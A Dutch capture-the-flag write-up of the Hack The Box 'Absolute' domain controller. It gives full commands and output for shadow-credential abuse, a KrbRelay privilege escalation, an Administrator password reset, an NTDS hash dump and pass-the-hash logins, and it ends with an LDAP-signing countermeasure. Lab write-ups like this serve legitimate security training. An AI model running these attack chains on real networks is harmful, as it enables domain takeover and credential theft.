┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ KRB5CCNAME=m.lovegod.ccache certipy-ad shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Targeting user 'winrm_user' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '1772ee1e-dda7-2630-c5ec-ee4b353a9cc4' [*] Adding Key Credential with device ID '1772ee1e-dda7-2630-c5ec-ee4b353a9cc4' to the Key Credentials for 'winrm_user' [*] Successfully added Key Credential with device ID '1772ee1e-dda7-2630-c5ec-ee4b353a9cc4' to the Key Credentials for 'winrm_user' [*] Authenticating as 'winrm_user' with the certificate [*] Using principal: winrm_user@absolute.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'winrm_user.ccache' [*] Trying to retrieve NT hash for 'winrm_user' [*] Restoring the old Key Credentials for 'winrm_user' [*] Successfully restored the old Key Credentials for 'winrm_user' [*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2 ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
Evil-WinRM
Uiteindelijk hebben we een NT-hash. Als we deze proberen te gebruiken om te authenticeren, kunnen we dat niet doen, aangezien deze gebruiker ook tot Beschermde Gebruikers behoort
$ evil-winrm -i 10.129.228.64 -u winrm_user -H '8738c7413a5da3bc1d083efc0ab06cb2'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Naast de NT-hash heeft het ons een TGT gegeven, dus we importeren deze en maken verbinding met evil-winrm. Het is noodzakelijk om de DC-naam in plaats van het IP-adres na de parameter -i te plaatsen
$ KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> cd ..\Desktop
d*Evil-WinRM* PS C:\Users\winrm_user\Desktop> dir
Directory: C:\Users\winrm_user\Desktop
Mode LastWriteTime Length Name
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/31/2023 9:51 PM 34 user.txt
*Evil-WinRM* PS C:\Users\winrm_user\Desktop> type user.txt
4e3812370d00fb4cdbfc727b7dd3ee86
*Evil-WinRM* PS C:\Users\winrm_user\Desktop>
PyWhiskers – Alternatief voor Certipy
Een ander alternatief is PyWhiskers, waarmee we, net als Certipy, het Shadow Credentials-attribuut van een gebruiker of computer kunnen manipuleren en volledige controle over dat object kunnen krijgen. We kunnen zien of de gebruiker winrm_user geldig is en of deze het msDS-KeyCredentialLink-attribuut heeft als deze afsluit DeviceID:
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ KRB5CCNAME=m.lovegod.ccache python3 pywhisker/pywhisker.py --action list -d absolute.htb -u m.lovegod -p 'AbsoluteLDAP2022!' --dc-ip 10.10.11.181 -t winrm_user -k [*] Searching for the target account [*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb [*] Listing devices for winrm_user [*] DeviceID: 05c89ad0-0706-1bbe-e2b4-189876687fde | Creation Time (UTC): 2022-06-09 14:09:33.669683 ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ KRB5CCNAME=m.lovegod.ccache python3 pywhisker/pywhisker.py --action add -d absolute.htb -u m.lovegod -p 'AbsoluteLDAP2022!' --dc-ip 10.10.11.181 -t winrm_user -k [*] Searching for the target account [*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: b5fe8c4c-c91d-ba97-3009-2871272795ce [*] Updating the msDS-KeyCredentialLink attribute of winrm_user [+] Updated the msDS-KeyCredentialLink attribute of the target object [+] Saved PFX (#PKCS12) certificate & key at path: vcr38xux.pfx [*] Must be used with password: oDppdPDucceXJs4Zbt7F [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
.
De vorige opdracht genereert het certificaat vcr38xux.pfx met wachtwoord oDppdPDucceXJs4Zbt7F , dat we samen met PKINITTools gebruiken om een TGT te verkrijgen.
.
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ python3 gettgtpkinit.py -cert-pfx EAIo4DPQ.pfx -pfx-pass sMFZiAfOBZsgKK3DmkAQ absolute.htb/winrm_user -dc-ip 10.10.11.181 winrm_user2.ccache 2024-01-26 22:03:22,902 minikerberos INFO Loading certificate and key from file INFO:minikerberos:Loading certificate and key from file 2024-01-26 22:03:22,918 minikerberos INFO Requesting TGT INFO:minikerberos:Requesting TGT 2024-01-26 22:03:47,236 minikerberos INFO AS-REP encryption key (you might need this later): INFO:minikerberos:AS-REP encryption key (you might need this later): 2024-01-26 22:03:47,236 minikerberos INFO aa3afee89518d3b28b639127afc064ebd8f57d74533054a1181a446cdb56da22 INFO:minikerberos:aa3afee89518d3b28b639127afc064ebd8f57d74533054a1181a446cdb56da22 2024-01-26 22:03:47,239 minikerberos INFO Saved TGT to file INFO:minikerberos:Saved TGT to file ┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ ls -la winrm* -rwxr-xr-x 1 puck puck 15871 Sep 23 17:07 winrm_kerb_shell.rb -rw-r--r-- 1 puck puck 1614 Jan 26 22:03 winrm_user2.ccache -rw-r--r-- 1 puck puck 3136 Jan 26 21:36 winrm_user.ccache ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
We hebben winrm_user.ccache aangegeven als het uitvoerbestand, dat we met evil-winrm kunnen gebruiken om een shell op het systeem te verkrijgen
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ file winrm_user2.ccache winrm_user2.ccache: data ┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ KRB5CCNAME=winrm_user2.ccache evil-winrm -i dc.absolute.htb -r absolute.htb Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami absolute\winrm_user *Evil-WinRM* PS C:\Users\winrm_user\Documents>
Shell – Administrator
KrbRelay
KrbRelay is een kwetsbaarheid in Kerberos-authenticatie, waarbij een aanvaller verzoeken onderschept en deze vervolgens namens de oorspronkelijke client opnieuw verzendt naar een andere bestemming, waardoor de aanvaller toegang kan krijgen tot serverbronnen zonder de daadwerkelijke inloggegevens in gevaar te brengen.
Feiten over KrbRelay
In februari 2022 werd een tool gemaakt die deze aanval automatiseert, genaamd KrbRelay.
Microsoft was niet van plan dit beveiligingslek te patchen, maar veranderde zijn standpunt in oktober 2022 en erkende het als een aanzienlijk beveiligingslek dat actie behoefde.
Om KrbRelay te laten werken, moet aan 2 voorwaarden worden voldaan. De patches van oktober 2022 niet zijn geïnstalleerd en LDAP-ondertekening is uitgeschakeld, wat de standaardinstelling is in Windows
We gaan de gecompileerde versie van KrbRelay uit de repository gebruiken SharpCollection
Om deze exploit te laten werken, is een interactieve sessie of console nodig. Daarom gaan wij er gebruik van maken van RunasCs. Omdat in deze sessies, in tegenstelling tot de shell met WinRM die we hebben, de inloggegevens in het geheugen worden opgeslagen en toegankelijk zijn voor de exploit
We uploaden beide uitvoerbare bestanden
*Evil-WinRM* PS C:\programdata> upload ./SharpCollection/NetFramework_4.7_Any/KrbRelay.exe
Info: Uploading /home/d4z/htb/machines/Absolute/exploits/SharpCollection/NetFramework_4.7_Any/KrbRelay.exe to C:\programdata\KrbRelay.exe
Data: 2135380 bytes of 2135380 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> upload ./RunasCs/RunasCs.exe
Info: Uploading /home/d4z/htb/machines/Absolute/exploits/RunasCs/RunasCs.exe to C:\programdata\RunasCs.exe
Data: 68948 bytes of 68948 bytes copied
Info: Upload successful!
We gaan de gebruiker winrm_user toevoegen aan de groep Administrators. De CLSID van ejemplo werkt niet, daarom gebruiken we de CLSID de Trusted Installer
.
*Evil-WinRM* PS C:\users\winrm_user\Music> upload KrbRelay.exe Info: Uploading /home/puck/htb/ABSOLUTE/KrbRelay.exe to C:\users\winrm_user\Music\KrbRelay.exe Data: 2157224 bytes of 2157224 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\users\winrm_user\Music> upload RunasCs.exe Info: Uploading /home/puck/htb/ABSOLUTE/RunasCs.exe to C:\users\winrm_user\Music\RunasCs.exe Data: 64852 bytes of 64852 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\users\winrm_user\Music>
.
*Evil-WinRM* PS C:\Users\winrm_user\Music> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\users\winrm_user\music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user" [*] Relaying context: absolute.htb\DC$ [*] Rewriting function table [*] Rewriting PEB [*] GetModuleFileName: System [*] Init com server [*] GetModuleFileName: C:\users\winrm_user\music\KrbRelay.exe [*] Register com server objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAD8ODHmL0ZoLBWSpx8iL3QlAvQAAIgB//9ttGGZRAm1jSIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==: [*] Forcing SYSTEM authentication [*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf [*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a382049c30820498a003020112a103020104a282048a0482048614c9922d3834e7192f5feea007fea8d89b5ddfd425095679b0534f55a809f24dba4ccaa6aa26ead03e26af95cb26f5211d8096e00b3ecf91cfe664371a4af9e3a318bd73e6d1e43867ea91936cb69ce60d15c97e9c05541cad1ef1693d47a980b3089d87b0d4e3b4b9c1a00f231e7e6462a270dc3371f9d2195a13b5f9cf4cbb7701c30f6903b2603305a452b7cfe1aa364e6becacc964f853db7fa3346f6d75978c1f4e2aa8f54ab0d3c5266884d7f347d87df36d9aa7d891a30b4c81c3126cad72a5c1c43d97737973651cc2a4f0c460b4f31d1a85882d254be00dabc9f392e96a11143b16dc723f334dd2b4b2bd8b416be166a228b0598be7d435aac0905dcc19d2ec90f4d1fc1154fee8e6e3b13ff88c0f5fe7e54c33ad762a8aabdedc46b74a3848bf17778e601a11a91570027f26d64ce7a8eb2cf15b6a561986fd8c57a84f82aab1166d43f395d45dec9431695a9c68ed474d8dfc8e9a609b74cfb2fb75b4cae6249fe1db66aba460d6273a30c3bcf34f4063faac74a115c8bfbc5378f25101099e512bffc751c1e1cd5c192b145b3a35c7dd38f71a80c0ced7178100ff5239eba9bfecadb2caedb0226395e49d6774fae606402d58c0c58e89e726713396b95ead4d6b253926b39ae0803f5655673014d25180532af204d6dcc8a947fc7c5fd44701145742dfb525f4b19881f42ea2f3da3c248d7a3c27ce2a6820f4507165b41f9af1918e49a6fdb7aae11d758310647da942931696cf2f77ab02e31e7ace956d3ca1ca5f2b253c70c5fb12b7e925a588e90c1edefb08b0fe6faf9acd561a829fedec5f77dbe9741d7997c8a166e0c4e64449f5cd6f3ac96d0f32c7d77370f9dd2811509905e87fdb373b0a227897bec3bcd3dd347ac877b67bd7f807fed510966aa1c1a302354e3a29e5a2b9fc283658f58ba8b67098923aa9c872d04647cc1284e464f89e218a60646cc7c856f54e2922cde4ada5e8a261bc0ddbe8d3ffe0497e2ac749a4ad47bf05bf173004af3e476956c27851bc31bf9a948e06f2c7a8173eecc3fd633a9bf81bb4b3cae409cfea1d59c3c1d14a9cbd1168ecb5c9d092ef4e581fba2bbc2b4fbd45f64339246e79be8619d63a71bb65ffd92cb6714ef6363d2133197d69b317d9d6a9df959253d08350033fef2bce74458cb669c2847875e405d49b0b0248cc3631f56f12879e75621312e83b29d2746d3dc3abd6fadabf1906b0d09a38d30b7431303ee58d15b494ec98fa59abde10a70a76af41672fd7cb2b433fa0da6a5f0e16f98c4876a7a1f3ee71c9ba6a8995fc531f715a3b03bd819ac765714ab59b4640f10f1377ce0613f8a6c24681a46b51509e8e83f7458c66bb7a83c3a7c88da30f89a09424e4a4e29e8408b9cad252ccbe85ee202af170cba624b542facbd763f0f8c557da2fd1584abffd8cb89d8a6882840d1f6493cd39998673cedee69f82b042dfd2895e90bb154d49cdca8f3dfdccb8f8c4cfd3d7228c3d8f412f99da832a8a70ad31969e06afbc227a77758629d70633fc37f4ba501808e2d2063395309df4719d436b0355f094bb14fd41638cd75f42ba9d9831dae012d82033b2e06764652dd4a69c95ec6593b67379351eef61a021cbd116a92fa48201a33082019fa003020112a2820196048201927aadea403e54d541344295335ac22c1dd0316313b05c281886ec016d8fcddd742bfb0c294cf05b144c7c915affb34af5115a0e164d736e1c217b0328abb5a9668d01e758464713d20792129cd27330b4cd4db039ab47fd7ed600fa70c4ce753236b1c6bd37b9b760d8d56556b6d679677f183d2721b946d03e0f07fe6509132b80da5cc474302162d85d6c4ca3b93d3bb38a033354f0b5fabaec631399df2677bdebe7467cd65d17fa61b81234d366779ac34976afe069e5584b02140da5817d0ba36c60e503547f64c4e74bedef08091036cdf70d6b314b698aa7c2ef6c6928db92023e151612c5346ac47a612220320cdad4b5f0e43e9667292577019caced0100683cd4026b14464f99d3663b4f683e8b8b14e64082b39c785c52d78f630f9195ef721df44a9c513a11cdc62b844a2bbc8bd920eaa71cb4dec724d2121499625d0eecafdca5026e827a7fadc0a5c2af27ea0c68e37985e7a87114b1f74cf348170ccf2ef2147ca47593e8f10624f8ad186975673119c3f025e72f412dc7aaf37e08f34141f9ab23ed12fbf29336d1cc99 [*] bind: 0 [*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS [*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e4cb77fc6705592600f97ec32b40454aff0fc796219f946bc0bb47cab1d88e442d3ac94bd660b4adefd1f951e0429608d74441821b5fb9149a64ce26472028a8cd3ae6d663842c46152ebc30df14b55f92902c1ebb3d44096258400ae7cce3352b5a31cdd1149eda46135a30dd337 [*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED [*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection [*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442023e6d1ca731609de7068ace9d6448af612f9728d350f5ff307aa821285bd14559d01258149693ace2f61e2d0e855d4d50ba20b3179429e3d87c58e057c9f91e0966 [*] bind: 0 [*] ldap_get_option: LDAP_SUCCESS [+] LDAP session established [*] ldap_modify: LDAP_SUCCESS *Evil-WinRM* PS C:\Users\winrm_user\Music>
We verifiëren dat de gebruiker succesvol is toegevoegd aan de groep Administrators
[*] ldap_get_option: LDAP_SUCCESS [+] LDAP session established [*] ldap_modify: LDAP_SUCCESS *Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user User name winrm_user Full Name Comment Used to perform simple network tasks User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 6/9/2022 12:25:51 AM Password expires Never Password changeable 6/10/2022 12:25:51 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 1/26/2024 1:03:47 PM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use Global Group memberships *Domain Users *Protected Users The command completed successfully. *Evil-WinRM* PS C:\Users\winrm_user\Documents>
.
Om de rootvlag te verkrijgen, moeten we een nieuwe console openen
.
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ KRB5CCNAME=winrm_user2.ccache evil-winrm -i dc.absolute.htb -r absolute.htb Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user User name winrm_user Full Name Comment Used to perform simple network tasks User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 6/9/2022 12:25:51 AM Password expires Never Password changeable 6/10/2022 12:25:51 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 1/26/2024 1:03:47 PM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use Global Group memberships *Domain Users *Protected Users The command completed successfully. *Evil-WinRM* PS C:\Users\winrm_user\Documents> cd .. *Evil-WinRM* PS C:\Users\winrm_user> cd .. *Evil-WinRM* PS C:\Users> cd administrator c*Evil-WinRM* PS C:\Users\administrator> cd desktop di*Evil-WinRM* PS C:\Users\administrator\desktop> dir Directory: C:\Users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/26/2024 11:44 AM 34 root.txt *Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt edc948603b2cb5710af08dbc7205277c *Evil-WinRM* PS C:\Users\administrator\desktop>
,
Een andere interessante optie is om het wachtwoord te wijzigen in de Administrator-gebruiker
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user Administrator Password123! The command completed successfully.
$ evil-winrm -i 10.10.11.181 -u administrator -p 'Password123!'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Met crackmapexec kunnen we de ntds dumpen
crackmapexec smb -dc-ip dc.absolute.htb -u 'Administrator' -p 'Password123!' --ntds
SMB dc.absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:c-ip) (signing:True) (SMBv1:False)
SMB dc.absolute.htb 445 DC [+] c-ip\Administrator:Password123! (Pwn3d!)
SMB dc.absolute.htb 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc.absolute.htb 445 DC Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB dc.absolute.htb 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc.absolute.htb 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
SMB dc.absolute.htb 445 DC J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
SMB dc.absolute.htb 445 DC M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
SMB dc.absolute.htb 445 DC D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
SMB dc.absolute.htb 445 DC s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
SMB dc.absolute.htb 445 DC j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
SMB dc.absolute.htb 445 DC n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
SMB dc.absolute.htb 445 DC m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
SMB dc.absolute.htb 445 DC l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
SMB dc.absolute.htb 445 DC c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
SMB dc.absolute.htb 445 DC s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
SMB dc.absolute.htb 445 DC d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
SMB dc.absolute.htb 445 DC svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
SMB dc.absolute.htb 445 DC svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
SMB dc.absolute.htb 445 DC winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
SMB dc.absolute.htb 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
En authenticeer met de hash
$ evil-winrm -i 10.10.11.181 -u 'Administrator' -H '2b576acbe6bcfda7294d6bd18041b8fe'
Vanaf deze console kunnen we zien dat het inderdaad een Windows Server 2019 Standard is
*Evil-WinRM* PS C:\Users\Administrator\Documents> systeminfo
Host Name: DC
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA530
Original Install Date: 7/20/2021, 11:21:49 AM
System Boot Time: 6/1/2023, 9:40:14 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version: VMware, Inc. VMW71.00V.17369862.B64.2012240522, 12/24/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: it;Italian (Italy)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,859 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 3,665 MB
Virtual Memory: In Use: 1,134 MB
Page File Location(s): C:\pagefile.sys
Domain: absolute.htb
Logon Server: N/A
Hotfix(s): 10 Hotfix(s) Installed.
[01]: KB5016713
[02]: KB4512577
[03]: KB4535680
[04]: KB4577586
[05]: KB4589208
[06]: KB5012170
[07]: KB5017315
[08]: KB5012675
[09]: KB5014031
[10]: KB5015896
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 3
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.228.64
[02]: fe80::bc18:1e7f:6ec4:6749
[03]: dead:beef::bc18:1e7f:6ec4:6749
[04]: dead:beef::115
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Contra-remedie tegen KRBRelay
Om deze aanval te voorkomen zullen we dit doen habilitar la firma por LDAP
We schakelen RDP in op de DC en maken verbinding met een client, zoals remmina
1st RDP enablen
*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
*Evil-WinRM* PS C:\Users\Administrator\Documents> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 3:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::12d
IPv6 Address. . . . . . . . . . . : dead:beef::8e4:bcf4:ae34:9e8
Link-local IPv6 Address . . . . . : fe80::8e4:bcf4:ae34:9e8%11
IPv4 Address. . . . . . . . . . . : 10.10.11.181
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:7e65%11
10.10.10.2
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Hierna met Remmina RDP connecten
crackmapexec smb 10.10.11.181 -u Administrator -p 'Password123!' -M rdp -o ACTION=enable
Open Group Policy Management
en klik op Edit
Navigeer naar Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options
Zoek het beleid Domain Controller: LDAP server signing requirements
en vul in de waarde Require signing
We gaan naar Network security: LDAP client signing requirements
Open een console en update het beveiligingsbeleid
We proberen de aanval uit te voeren op onze aanvallende machine en zien dat deze niet succesvol is
*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 3c6859ce-230b-48a4-be6c-932c0c202048 -add-groupmember
Administrators winrm_user"
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAB4KplREi4FFGeMIAqYLH8nApQAAFwW//+vpO4nPH6EyyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Forcing SYSTEM authentication
[*] Using CLSID: 3c6859ce-230b-48a4-be6c-932c0c202048
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010e--snip--9b583cf4d4
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e3bac712f6334071226c25e895f570151fe1166a42a068b2cd7850c3b9c81df87839f350070dea732d2d731b291e4b1454a58e8ad0357e96d273d1534290b7072cfdebb6e6355a7f29890f65c9684cfcccc47ec04b4e5b43c0c923aa6f2909cf646c73069067f2838d455d471d380
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442d79574b57c4664dad434b29e5de65a74a83e1eec685238ab4b16ffd1f279a05b62e11e86a439fdd1336030ee54342f262cc82f65126ced2423ae468461511bab82b0
[*] bind: 8
[*] ldap_get_option: 8
[-] Ldap failed
.
┌──(venv)─(puck㉿kali)-[~/htb/absolute]
└─$ evil-winrm -i 10.10.11.181 -u administrator -H 1f4a6093623653f6488d5aa24c75f2ea
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
┌──(puck㉿kali)-[~/htb/absolute]
└─$ git clone https://github.com/ShutdownRepo/impacket -b dacledit
Cloning into ‘impacket’…
remote: Enumerating objects: 22819, done.
remote: Counting objects: 100% (12/12), done.
┌──(puck㉿kali)-[~/htb/absolute/impacket]
└─$ sudo apt install python3.11-venv
extra info
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ScheduledTask | where{$_.TaskName -eq "Cleanup"} TaskPath TaskName State -------- -------- ----- \ Cleanup Ready *Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Scheduledjob *Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ScheduledJob *Evil-WinRM* PS C:\Users\Administrator\Documents> cd c:\windows\system32\tasks *Evil-WinRM* PS C:\windows\system32\tasks> dir Directory: C:\windows\system32\tasks Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/15/2018 12:19 AM Microsoft -a---- 8/31/2022 9:10 AM 3476 Cleanup -a---- 7/17/2023 2:19 PM 3658 CreateExplorerShellUnelevatedTask -a---- 9/25/2022 3:13 PM 4168 User_Feed_Synchronization-{1A6A6609-2B3F-4BEB-89EB-D255D88B9AFA} *Evil-WinRM* PS C:\windows\system32\tasks> cat Cleanup <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2022-06-09T08:15:44</Date> <Author>absolute\Administrator</Author> <URI>\Cleanup</URI> </RegistrationInfo> <Triggers> <TimeTrigger> <Repetition> <Interval>PT5M</Interval> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>2022-06-09T08:15:00</StartBoundary> <Enabled>true</Enabled> </TimeTrigger> </Triggers> <Principals> <Principal id="Author"> <RunLevel>LeastPrivilege</RunLevel> <UserId>Administrator</UserId> <LogonType>Password</LogonType> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>powershell.exe</Command> <Arguments>-c "C:\users\administrator\contacts\wipe.ps1"</Arguments> </Exec> </Actions> </Task> *Evil-WinRM* PS C:\windows\system32\tasks> cat C:\users\administrator\contacts\wipe.ps1 cmd /c 'dsacls.exe "cn=Network Audit,cn=users,dc=absolute,dc=htb" -resetdefaultdacl cmd /c 'dsacls.exe 